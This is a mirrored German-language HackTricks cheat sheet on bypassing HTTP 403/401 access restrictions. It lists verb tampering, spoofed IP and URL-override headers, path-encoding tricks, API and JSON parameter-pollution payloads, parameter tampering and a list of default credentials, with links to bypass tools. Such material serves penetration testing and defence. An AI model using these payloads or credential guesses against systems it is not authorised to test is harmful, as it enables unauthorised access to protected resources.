mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
6.2 KiB
Markdown
119 lines
6.2 KiB
Markdown
# 403 & 401 Bypasses
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## HTTP Verbs/Methods Fuzzing
|
||
|
||
Versuchen Sie, **verschiedene Verben** zu verwenden, um auf die Datei zuzugreifen: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||
|
||
- Überprüfen Sie die Antwort-Header, vielleicht können einige Informationen bereitgestellt werden. Zum Beispiel bedeutet eine **200-Antwort** auf **HEAD** mit `Content-Length: 55`, dass das **HEAD-Verb auf die Informationen zugreifen kann**. Aber Sie müssen immer noch einen Weg finden, diese Informationen zu exfiltrieren.
|
||
- Verwenden Sie einen HTTP-Header wie `X-HTTP-Method-Override: PUT`, um das verwendete Verb zu überschreiben.
|
||
- Verwenden Sie das **`TRACE`**-Verb und wenn Sie sehr viel Glück haben, können Sie in der Antwort auch die **von Zwischenproxies hinzugefügten Header** sehen, die nützlich sein könnten.
|
||
|
||
## HTTP Headers Fuzzing
|
||
|
||
- **Ändern Sie den Host-Header** auf einen beliebigen Wert ([das hat hier funktioniert](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||
- Versuchen Sie, [**andere User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) zu verwenden, um auf die Ressource zuzugreifen.
|
||
- **Fuzz HTTP-Header**: Versuchen Sie, HTTP-Proxy-**Header**, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit wenigen Kombinationen) und andere Techniken zu verwenden. Um all dies zu tun, habe ich das Tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) erstellt.
|
||
|
||
- `X-Originating-IP: 127.0.0.1`
|
||
- `X-Forwarded-For: 127.0.0.1`
|
||
- `X-Forwarded: 127.0.0.1`
|
||
- `Forwarded-For: 127.0.0.1`
|
||
- `X-Remote-IP: 127.0.0.1`
|
||
- `X-Remote-Addr: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `X-Original-URL: 127.0.0.1`
|
||
- `Client-IP: 127.0.0.1`
|
||
- `True-Client-IP: 127.0.0.1`
|
||
- `Cluster-Client-IP: 127.0.0.1`
|
||
- `X-ProxyUser-Ip: 127.0.0.1`
|
||
- `Host: localhost`
|
||
|
||
Wenn der **Pfad geschützt ist**, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:
|
||
|
||
- `X-Original-URL: /admin/console`
|
||
- `X-Rewrite-URL: /admin/console`
|
||
|
||
- Wenn die Seite **hinter einem Proxy** ist, könnte es der Proxy sein, der Ihnen den Zugriff auf die privaten Informationen verweigert. Versuchen Sie, [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **oder** [**Hop-by-Hop-Header**](../../pentesting-web/abusing-hop-by-hop-headers.md)** auszunutzen.**
|
||
- Fuzz [**spezielle HTTP-Header**](special-http-headers.md) auf der Suche nach unterschiedlichen Antworten.
|
||
- **Fuzz spezielle HTTP-Header**, während Sie **HTTP-Methoden** fuzzing.
|
||
- **Entfernen Sie den Host-Header**, und vielleicht können Sie den Schutz umgehen.
|
||
|
||
## Path **Fuzzing**
|
||
|
||
Wenn _/path_ blockiert ist:
|
||
|
||
- Versuchen Sie, `/%2e/path` zu verwenden (wenn der Zugriff durch einen Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch `/%252e**/path` (doppelte URL-Codierung)
|
||
- Versuchen Sie **Unicode-Bypass**: _/**%ef%bc%8f**path_ (Die URL-codierten Zeichen sind wie "/"), sodass es beim Zurückcodieren _//path_ sein wird und Sie möglicherweise bereits die _/path_-Namensüberprüfung umgangen haben.
|
||
- **Andere Pfad-Bypässe**:
|
||
- site.com/secret –> HTTP 403 Forbidden
|
||
- site.com/SECRET –> HTTP 200 OK
|
||
- site.com/secret/ –> HTTP 200 OK
|
||
- site.com/secret/. –> HTTP 200 OK
|
||
- site.com//secret// –> HTTP 200 OK
|
||
- site.com/./secret/.. –> HTTP 200 OK
|
||
- site.com/;/secret –> HTTP 200 OK
|
||
- site.com/.;/secret –> HTTP 200 OK
|
||
- site.com//;//secret –> HTTP 200 OK
|
||
- site.com/secret.json –> HTTP 200 OK (ruby)
|
||
- Verwenden Sie [**diese Liste**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in den folgenden Situationen:
|
||
- /FUZZsecret
|
||
- /FUZZ/secret
|
||
- /secretFUZZ
|
||
- **Andere API-Bypässe:**
|
||
- /v3/users_data/1234 --> 403 Forbidden
|
||
- /v1/users_data/1234 --> 200 OK
|
||
- {“id”:111} --> 401 Unauthriozied
|
||
- {“id”:\[111]} --> 200 OK
|
||
- {“id”:111} --> 401 Unauthriozied
|
||
- {“id”:{“id”:111\}} --> 200 OK
|
||
- {"user_id":"\<legit_id>","user_id":"\<victims_id>"} (JSON Parameter Pollution)
|
||
- user_id=ATTACKER_ID\&user_id=VICTIM_ID (Parameter Pollution)
|
||
|
||
## **Parameter Manipulation**
|
||
|
||
- Ändern Sie den **Parametervalue**: Von **`id=123` --> `id=124`**
|
||
- Fügen Sie zusätzliche Parameter zur URL hinzu: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||
- Entfernen Sie die Parameter
|
||
- Ändern Sie die Reihenfolge der Parameter
|
||
- Verwenden Sie Sonderzeichen.
|
||
- Führen Sie Grenzwerttests in den Parametern durch — geben Sie Werte wie _-234_ oder _0_ oder _99999999_ an (nur einige Beispielwerte).
|
||
|
||
## **Protokollversion**
|
||
|
||
Wenn Sie HTTP/1.1 verwenden, **versuchen Sie, 1.0** zu verwenden oder testen Sie, ob es **2.0 unterstützt**.
|
||
|
||
## **Andere Bypässe**
|
||
|
||
- Holen Sie sich die **IP** oder **CNAME** der Domain und versuchen Sie, **sie direkt zu kontaktieren**.
|
||
- Versuchen Sie, den **Server zu belasten**, indem Sie gängige GET-Anfragen senden ([Es hat für diesen Typen mit Facebook funktioniert](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||
- **Ändern Sie das Protokoll**: von http zu https oder von https zu http
|
||
- Gehen Sie zu [**https://archive.org/web/**](https://archive.org/web/) und überprüfen Sie, ob die Datei in der Vergangenheit **weltweit zugänglich** war.
|
||
|
||
## **Brute Force**
|
||
|
||
- **Raten Sie das Passwort**: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
|
||
- [**Brute Force**](../../generic-hacking/brute-force.md#http-brute)**:** Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.
|
||
```:Common creds
|
||
admin admin
|
||
admin password
|
||
admin 1234
|
||
admin admin1234
|
||
admin 123456
|
||
root toor
|
||
test test
|
||
guest guest
|
||
```
|
||
## Automatische Werkzeuge
|
||
|
||
- [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
|
||
- [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
|
||
- [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
|
||
- [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
|
||
- [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
|
||
- [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|